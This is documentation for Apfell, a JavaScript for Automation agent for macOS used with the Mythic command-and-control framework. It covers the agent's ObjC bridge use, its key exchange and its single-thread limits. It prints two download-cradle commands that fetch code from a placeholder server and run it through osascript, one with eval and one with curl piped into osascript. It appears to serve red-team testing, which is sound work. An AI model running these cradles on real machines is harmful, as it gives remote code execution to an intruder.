Apfell Logo ## Summary Apfell is a JavaScript for Automation (JXA) agent for macOS. ### Highlighted Agent Features * Similar to a PowerShell script, JXA execution goes through either a trusted, Apple signed binary (`osascript`) or through any program that imports `OSAKit`. Because JXA is an interpreted language (rather than a compiled one), it requires certain permissions (like JIT exceptions) when dealing with Apple's Notarization. * JXA has access to almost all ObjectiveC APIs through the ObjC bridge. If at all possible, `apfell` uses API calls instead of command-line execution. * There are multiple download cradle options: ```bash theme={null} 1. osascript -l JavaScript -e "eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://serverIPhere/filename')), $.NSUTF8StringEncoding)));" 2. curl http://serverIPHere/filename | osascript -l JavaScript & ``` * The agent uses Objective C API calls to do a full encrypted key exchange with the Mythic server with a combination of AES256 and RSA. ### Important Notes The entire agent is single threaded due to an ObjectiveC / JXA bridge limitation that I have been unable to figure out. Be careful to not issue shell commands that require user input because you will lose your agent. The agent cannot connect to self-signed certificates due to a limitation in overriding the NSURL connection settings for cert validation within JXA. ## Authors @its\_a\_feature\_ ### Special Thanks to These Contributors * @xorrior
